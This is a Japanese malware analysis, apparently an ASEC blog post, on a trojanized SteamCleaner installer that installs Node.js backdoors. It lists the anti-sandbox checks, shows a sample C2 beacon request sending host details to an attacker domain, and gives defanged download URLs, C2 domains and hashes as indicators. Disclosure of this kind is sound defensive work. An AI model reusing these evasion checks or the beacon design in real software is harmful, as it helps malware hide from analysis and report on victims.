正常な署名を持つバックドアマルウェア、Steam 整理ツールに偽装して配布中

有名ゲームプラットフォーム Steam クライアントの整理ツール「SteamCleaner」に偽装したマルウェアが多数配布されている。このマルウェアに感染すると、不正な Node.js スクリプトがユーザー PC に常駐し、C2 と定期的に通信しながら攻撃者のコマンドを実行することができる。

SteamCleaner は Steam クライアントのゴミファイルを整理してくれるオープンソースツールで、2018年9月を最後にこれ以上のアップデートが行われていないことが確認されている。

図1. Github に公開されている SteamCleaner ソース

 

攻撃者は、オリジナルソースコードにマルウェアを追加してビルドした後、InnoSetup インストーラーでパッキングし、有効な証明書で署名したファイルを配布した。このマルウェアが実行されると、攻撃者が追加したコードが実行され、遠隔コマンド実行が可能なマルウェアをインストールする。

 

図2. マルウェアの署名およびプロパティ情報

 

ASEC では、このマルウェアがクラック、キージェネレーターなどの違法ソフトウェアダウンロードページに偽装したウェブサイトでリダイレクションを経て GitHub リポジトリにアップロードされたマルウェアをダウンロードする方式で配布されていることを確認した。これまでこのような方式で配布されたマルウェアより検知される数が非常に多いことから、同じマルウェアを他の複数のチャンネルを通じて活発に配布しているものと推定される。

 

図3. Proyware マルウェアの配布ページ例

[配布 URL]

  • hxxps://raw.githubusercontent[.]com/erindaude/3O/main/Setup.exe

 

上記の URL 以外にも、攻撃者は特定の GitHub アカウントに多数のリポジトリを作成したあと、同じタイプのマルウェアを多数アップロードしてマルウェアの配布に利用している。

 

マルウェアは「Setup.exe」というファイル名でダウンロードされ、実行すると C:\Program Files\SteamCleaner\ のパスにマルウェアをインストールしたあと、実行する。このときインストールされたマルウェアが SteamCleaner を改造してビルドしたマルウェアである。当該ファイルには署名が存在しない。

 

図4. マルウェアインストールパス

 

正常な SteamCleaner 実行ファイルと比較したとき、原本コードはすべて維持したまま不正な振る舞いを行うように構成されたクラスとメソッドを追加してビルドしたことが確認できる。

 

図5. Proxyware マルウェアの構造(左)および正常なファイル構造(右)

 

攻撃者が追加した不正なコードには、多数の Anti-Sandbox 機能が含まれている。システム情報の確認、ポート数の確認、WMI クエリ、ファイルおよびパスの確認、プロセスモジュールの確認、プロセスの確認、Sleep 動作の確認、等の手法を使用する。Sandbox で検知された環境では、不正な振る舞いなしに原本プログラムが実行される。

図6. マルウェア実行画面

確認対象 項目
モジュール cmdvrt32.dll

cmdvrt64.dll

kernel32.dll:wine_get_unix_file_name()

SbieDll.dll

cuckoomon.dll

SxIn.dll

ファイル balloon.sys

netkvm.sys

vioinput

viofs.sys

vioser.sys

VBoxMouse.sys

VBoxGuest.sys

VBoxSF.sys

VBoxVideo.sys

vmmouse.sys

vboxogl.dll

WMI クエリ SELECT * FROM Win32_PortConnector

Select * from Win32_ComputerSystem

  • MICROSOFT CORPORATION
  • VIRTUAL
  • VMWARE
パス [Directory]

C:\Program Files\VMware

C:\Program Files\oracle\virtualbox guest additions

[Named Pipe]

\\.\pipe\cuckoo

\\.\HGFS

\\.\vmci

\\.\VBoxMiniRdrDN

\\.\VBoxGuest

\\.\pipe\VBoxMiniRdDN

\\.\VBoxTrayIPC

\\.\pipe\VBoxTrayIPC

プロセス vboxservice

VGAuthService

vmusrvc

qemu-ga

表1. アンチサンドボックス手法の要約

 

その後、マルウェア内部に暗号化されて保存されている PowerShell コマンドを復号化して実行する。このコマンドはシステムに Node.js をインストールし、2つの C2 から異なる不正な Node.js スクリプトをダウンロードしてインストールした後、各々タスクスケジューラに登録する。登録されたタスクは、システムブート時、そして1時間ごとに自動実行される。

 

2つのスクリプトはどちらも基本的に C2 を通じてコマンド実行が可能なマルウェアであり、コマンドを受信するために C2 に接続する際、感染したシステム情報を送信するため、攻撃者はこの情報を参照してその後の攻撃行為を進めることができる。C2 に接続する際は以下のような構造の JSON データを /d パスに送信し、実行結果を /e パスに送信する。ヘッダーの User-Agent 項目とデータの agent_version 項目のみ違いがあり、この違いは以下の表にまとめた。

 

POST /d HTTP/1.1
host: aginscore.com
connection: keep-alive
Content-Type: application/json
accept: */*
accept-language: *
sec-fetch-mode: cors
user-agent: node
accept-encoding: br, gzip, deflate
content-length: 271

{
	"os_type": "Windows_NT",
	"os_name": "win32",
	"os_release": "10.0.22631",
	"os_version": "Windows 11 Pro",
	"os_hostname": "DESKTOP-xxxxxxx",	//PC 名
	"os_arch": "x64",
	"machine_id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",		//デバイス GUID
	"agent_version": "17.2.7",
	"session_id": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"	//ランダム Hex
}

 

1 番目の Node.js スクリプトは、C2 の応答に応じて特定の URL からファイルをダウンロードしたあと、そのファイルを実行する CMD、PowerShell などのコマンドを実行することができる。以下の表の「agent_version」項目は C2 に送信される JSON データであり、マルウェアのバージョンを管理するための識別子であると推定される。

インストールパス

C:\WCM\{UUID}\UUID

タスクスケジューラのパス

Microsoft/Windows/WCM/WiFiSpeedScheduler

ダウンロード URL

hxxps://rt-guard[.]com/updates/KB80164432

マルウェア MD5

5ea776ca7dccac71138a6e92a4f5c934
(Downloader/JS.Proxyware.SC291258)

C2

rt-guard[.]com
4tressx[.]com
kuchiku[.]digital
screenner[.]com

送信データ

User-Agent insomnia/2023.4.0. Windows
“agent_version” “0.3.0”

表2. 不正なスクリプト情報の要約(1)

 

2 番目の Node.js スクリプトは C2 からコマンドを受け取り実行、その出力結果を再び C2 に送信する機能を担う。1 番目のスクリプトは URL を引数に受け取り、その URL からダウンロードした内容を CMD、PowerShell などの外部プロセスを使用して実行し、2 番目のスクリプトはコマンドを受け取って Node.js 自身のシェル実行(exec)関数を通じて実行するという違いがある。また、より強度の高い難読化手法が適用されており、解析を困難にしている。

インストールパス

C:\WindowsSetting\{UUID}\UUID

タスクスケジューラのパス

Microsoft/Windows/Diagnosis/RecommendedDiagnosisScheduler

ダウンロード URL

hxxps://uuu.rqfefxsa[.]xyz/cab.js

マルウェア MD5

804957e501ee0443632ea675353326d4
(Trojan/JS.Proxyware.SC295915)

C2

aginscore[.]com

送信データ

User-Agent node
“agent_version” “17.2.7”

表3. 不正なスクリプト情報の要約(2)

 

分析当時、2つのスクリプトとも C2 で空のコマンドのみを応答し、最終的な振る舞いは確認できなかったが、類似したタイプのマルウェアが過去に Proxyware をインストールするコマンドを応答した履歴がある。しかし、任意のコマンド実行が可能なマルウェアであるだけに、攻撃者の意図に応じて異なるマルウェアをインストールする振る舞いも可能なため、注意が必要。

 

以前確認された Proxyware 配布事例に関する内容は、以下の ASEC ブログを参考にすればよい。

 

 

このように、不正な振る舞いを隠すために正常なプログラムやユーティリティに巧妙に偽装したマルウェアが持続的に配布されているため、特に注意が必要。特に、信頼できない Web ページやコミュニティからダウンロードしたファイルは実行してはいけなく、クラック、Keygen などの違法プログラムの使用は避ける必要がある。このような違法なファイルはマルウェアの配布経路としてよく利用され、システムを感染させて情報窃取、遠隔操作、追加のマルウェアインストールなど、様々な被害に繋がる可能性がある。

 

MD5

062ff9107c8e7b7972120bc4ac0cd5e8
29eddc32acb16d8ce71b18190de04e81
39f41537c02e9f516c2de9dee5e9c5e0
3bb7cd8779318093093d98b99f9d4631
501fb628c426e3b393a8c61aaa2be451
URL

https[:]//4tressx[.]com/d
https[:]//4tressx[.]com/e
https[:]//aginscore[.]com/d
https[:]//aginscore[.]com/e
https[:]//kuchiku[.]digital/d
FQDN

4tressx[.]com
aginscore[.]com
kuchiku[.]digital
rt-guard[.]com
screenner[.]com

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム 「AhnLab TIP」 サブスクリプションサービスを通して確認できる。

Categories: Uncategorized

Tagged as: , ,